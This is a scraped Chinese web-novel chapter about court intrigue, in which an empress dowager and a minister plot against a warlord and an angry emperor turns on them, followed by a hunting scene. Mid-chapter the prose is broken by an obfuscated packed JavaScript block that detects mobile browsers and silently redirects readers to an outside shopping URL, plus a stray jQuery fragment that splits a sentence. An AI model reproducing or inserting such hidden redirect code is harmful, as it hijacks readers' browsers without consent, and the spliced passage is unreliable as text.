文趣网 > 都市小说 > 五代离乱,花开彼岸 > 60. 狩猎
    “太后得知枢密使今日回京,特备下酒馔为您接风洗尘。”阿秋等候在积善宫前笑意盈盈地对蒋玄晖施礼。

    蒋玄晖一脸愁容,方才在大殿上,苏循突然提及朱凛应受天命称帝,令他大为惊骇。随后李祚又单独召见蒋玄晖、柳璨、张廷范商议。

    柳璨道:“元帅是众望所归,圣人谦让些,解除重负,这正是时候了。”

    李祚无奈道:“大雍运数已衰,幸得元帅延续。今日天下,已非朕之天下,镇国神器,当归有德之人,这又有何疑问?旁人传话恐不达意,你亲自前往大梁,详述朕意。”

    蒋玄晖含糊其辞,方才将此事岔开。若朱凛此刻称帝,他与何太后将如何自处?正犯愁间,忽见阿秋精致面容,愁态稍展,顺势握住阿秋的手,“还不快领我进去。”

    一入大殿,何太后便款款而来,对着蒋玄晖一番嘘寒问暖。

    蒋玄晖牵过何太后的手,一同走入后殿。

    何太后笑道:“此去路途遥远,一路辛苦了。阿虔把我新煎的天山蜡面茶送来,你尝尝味道如何?”

    “口味果然妙。穗儿煎茶的手艺又进步了。”

    二人围春台而坐,只留阿秋在近前服侍。何太后亲自为蒋玄晖布菜,蒋玄晖看着殷勤的何太后,一扫连日来的阴霾。

    阿秋执壶,何太后满满斟了一杯酒,“我敬你一杯。”

    蒋玄晖欣然接受,不自然间多吃了几杯酒,脸泛微红。

    二人正说笑着,何太后眉头一蹙,眼含泪光,忙转过身用手帕拭泪。

    “这是怎么了?怎么无端端地哭了起来。”

    “如今看着形势,朱凛篡位之势已是‘司马昭之心,路人皆知’,到时我们母子该如何自处?恐怕,我与阿祚死无葬身之地了。”何太后已听闻今日着手商议晋封朱凛九锡之礼事宜,那下一步是什么便昭然若揭。

    蒋玄晖看着何太后清癯而苍白的脸庞,宽慰道:“不必担心,有我在,定会保护你们母子周全。”

    “我们母子能有今日,全凭蒋郎照顾。今生能遇到蒋郎,实是我三生有幸,自先帝驾崩后,我本不该有任何企盼,偏偏遇到了蒋郎,我才不舍,苟活至今。只是……”说到此处,悲痛难禁的何太后已哽咽,两行清泪顺着她的脸颊落了下来,“今生与你相处的日子恐怕不多了……”

    “怎么会呢……”蒋玄晖不住地安慰着何太后。

    “如今我更是担心蒋郎,朱凛反复无常,我怕他到时也不会善待你。”何太后忧形于色。

    何太后的一席话触碰到蒋玄晖内心深处,他骤然一脸骇怖,自寿春回洛阳后,他夜不能寐,每每想起朱友恭、氏叔琮临死前的惨状,不禁惊得冷汗涔涔,前车之鉴历历在目!朱凛绝非善类,最后他恐怕也会落下个狡兔死、走狗烹的结果,他不禁开始为自己谋划出路。

    何太后从蒋玄晖眼神的细微变化中看出了端倪,暗自有了底,柔声唤着他的名字,然后扑到蒋玄晖的怀中,露出一片雪胸,低声永嘅,“今生咱们未尽的情,恐怕只能来生再聚了。”

    蒋玄晖将何太后揽进臂弯中,重重地吸了口气,“我也怕啊。”

    何太后决定再给他加一把火,“你不在的这几日,苏循耀武扬威,我真是替你感到不值啊。朱凛离开后,将悉事都交给了你,他才没有后顾之忧,如今这般对你,岂不是飞鸟尽,良弓藏。”

    蒋玄晖灵念闪动,一个大胆的想法忽然浮上心头。

    何太后靠着他的肩膀,将泪水洒到蒋玄晖的衣襟。

    “不如效仿东魏孝静帝,在皇宫内挖一条密道通往城外,带圣人逃出皇宫,集结天下人马,共同讨伐朱凛。”蒋玄晖道。

    “真的?那该去往何处?”

    “如今能和朱凛抗衡之人唯有李用了,不如去河东。”蒋玄晖目光聚到一处,“朱凛为人狡诈,咱们需做两手准备。如果阿祚不能逃出去,只有将朱凛杀了,才能永除后患。他现在对我尚未起疑,必须马上招兵买马,我会将圣人身边的打毡供奉换成自己人,待朱凛面圣时,一举将他拿下。”

    何太后听至此,想到天祐元年他们也曾打算用此法子捉拿朱凛,可最后却无疾而终。如今四周都是朱凛的耳目,换成自己的人谈何容易,可看着蒋玄晖眼中志在必得的眼神,她愿意去尽力一试,“都听蒋郎的,蒋郎定会护我们母子周全。”

    “下月中外百司礼仪法物已备,阿祚便可亲祠圆丘,到时便可名正言顺。如今一是要换人,二是要南郊,三是要暗中联系河东。”蒋玄晖默默地道。

    “蒋郎,真不知该如何谢你……”

    “好了,莫要再哭了。”蒋玄晖轻声安慰道,随后关切地询问,“许御医开的钟乳泽兰丸,可都有按时服用?你身子本就虚弱,小月后更是常常气血不足,需得加重保养才是。你养好身子,咱们来日方长。”

    “每日都是按时吃的。朝廷诸多大事需要你,我这些小事就你就不必挂怀了。”何太后再次举起玉卮,“我再敬蒋郎一杯,蒋郎也需保重身子。”

    蒋玄晖连连答应,“好、好。”

    ——————

    “别拦我!我定要杀了他!”李祚怒目圆睁,手持佩剑,疾步直奔殿门口而去。

    方才朝议之后,他心烦意乱只想找人倾诉,不知不觉走到了积善宫,想着已有很长一段时间未曾见过阿娘,思母之情泛起。可不巧撞见蒋玄晖满面春风地走了进去,他心中的怒火瞬间如火山下的熔岩般爆发,迅速蔓延至全身。那股无名业火,高举三千丈,按捺不住的他,恨不得立刻杀进去,奈何手中空空,遂径直跑回紫宸殿取下宝剑。

    “圣人,万万不可啊。”阿能死死攥住李祚的衣袖,苦苦哀求,“圣人切记不可冲动。”

    “我不能忍受这般耻辱,我要杀出去与蒋玄晖决一死战!”

    阿能跪下道:“圣人不可啊,蒋玄晖不足挂齿,可他背后的人是朱凛!”

    “难道真要坐以待毙?你方才没听见,他们竟要朕禅位!我还有何希望?”

    阿能颇为无奈,只得颔首。

    “与其坐以待毙,不如拼上一拼,纵使死了又有何可惧怕,何况还不一定死呢。我就是宁可亡国,也不受小人摆布!死也要死得轰轰烈烈!”

    “这宫中宿卫都是蒋玄晖的人,此人诡计多端,包藏祸心,咱们只怕连这紫宸殿都出不去。此事倘若事不成,您会有性命危险啊。”

    “现在性命就不危险了吗?如今过的是什么日子?每日战战兢兢、如履薄冰。刀悬在头顶,不知何时会劈下。自即位后,我从未有过片刻欢愉!”李祚喊道。

    “奴觉得此事还应从长计议。祸患难测,不可轻举妄动。如今长公主还在大梁,她的性命圣人不能不顾念啊。一旦事发,公主的性命也可能会受到牵连。”阿能再一次搬出李凌薇。

    “阿姐……是啊,还有阿姐呢……也不知阿姐如今在朱家过得如何,有没有受欺负……我尚且如此,阿姐又能如何呢……”李祚怅然若失,踉跄着退了几步,心中悲凉如潮涌起,大吼着挥起宝剑,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17569239|203025||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    使出全身力气砍向烛台,将一排排蜡烛砍成两截,仍觉得不能解恨,又砍向案几,将瓶、炉、罐、鼎全部砍碎,最终砍到石柱上,宝剑斜插其中无法拔出,膂力终是尽了,“我还能做些什么?”

    只是简单的一句话,却包含着皇帝的哀伤、愤懑与满心的不甘。

    阿能眼眶已蓄满泪水,他忍住悲哀,“圣人不要过于伤心,龙体要紧,事情总有解决的法子。咱们唯有慢慢忍,奴想朱凛一时半刻恐怕还不敢贸然称帝。”

    李祚委顿在原地,迷茫道:“遥想当年,太宗皇帝扫清六合,席卷八荒,四夷俯首,万国来朝!如今的我,名为至尊,实则沦落至此,唯恐自己不能厮守祖先创下的江山弘业,每念及此,我都朝兢夕惕。三百年李氏基业,难道就要毁于我之手了吗?大雍历代皇帝,可都在看着我呢。如今,我总是忍不住想,他到底还能留我活到什么时候?倒不如干脆让他杀死我,也让世人知道他是谋逆弑君!遗臭万年!”

    “圣人万不可如此说。”

    “蒋玄晖,你不让我好过,我也不会放过你。给魏王密令,说太后与蒋玄晖私通,意图对魏王不轨。”李祚从牙根中咬出这句话,用一种令人胆战的声音吩咐道。

    ——————

    “九娘……九娘……且慢些……”李凌薇轻抖缰绳,追赶上前面的朱晓风。不过数日,朱晓风便已控御自如,骑术远超众人。

    “四嫂嫂,且快些来。”朱晓风回过头,朝李凌薇盈盈一笑。

    朱凛前日回到大梁,这是他第三次征伐淮南,三次无功而返,成为他不可磨灭的痛。今日他召集诸儿郎子侄到郊外狩猎,李凌薇因朱友贞不在,不得不硬着头皮替他出席。

    朱晓风勒住辔头,待李凌薇赶至身旁,不好意思笑道:“第一次这般骑马……竟不自觉骑得快了些。”今日的她一袭蓝色戎装,全副披挂,腰间挎着一张花哨的小弩,锦囊中带十几枝软翎的竹箭。

    李凌薇见朱晓风高兴,一直收着些缰绳,让出她半个马头的位置。两人信马由缰,言笑晏晏,且行且赏,不觉间已踏入一片被白雪轻覆的碧绿丛林。昨夜新雪初霁,此刻空气里弥漫着清新的气息。

    “出来走走,心情真是好啊。”朱晓风开心道。

    李凌薇听着虫鸣鸟叫,也感到身心愉悦又轻松,“是啊。”

    林深雪盛,是极好的狩猎之地。众人发现鹿影,纷纷策马紧追不舍。朱凛今日悬赏,谁获得猎物最多,便可获得他的贴身七宝佩剑。

    李凌薇见到一只兔子,左手取弓,右手向走兽壶中拔箭,搭上箭,拽满弓,嗖的一箭,正好射中目标。

    “嫂嫂好厉害。”

    侍从将兔子送来,李凌薇随手放进搭筐。

    朱晓风又指着一只惊慌逃跑的梅花鹿道:“四嫂嫂,你看那边。”说着,她从搭袋里拿出弓箭,忽然,一声尖锐的鸣镝划破长空,惊得森林中栖息的野鸷纷纷振翅,盘旋而起。

    “嗖”的箭矢径直而去,梅花鹿应声倒下。只见朱友文策马而去,侍从欲捡起射死的梅花鹿,他却道:“这只梅花鹿送给九娘。”

    朱晓风心中不悦,嘴上只说,“多谢二哥。”她欲打马奔驰而去,谁知下一弹指,竟连人带马飞了起来。

    “九娘……”李凌薇大惊失色。

    蓦地,朱友文腾空而出,接住朱晓风,将她护在身后。朱晓风的披风被树枝撕开一道裂口,手掌擦破皮渗出血珠,她却浑然未觉疼痛——十尺之外,一头饥肠辘辘的熊罴正盯着她们!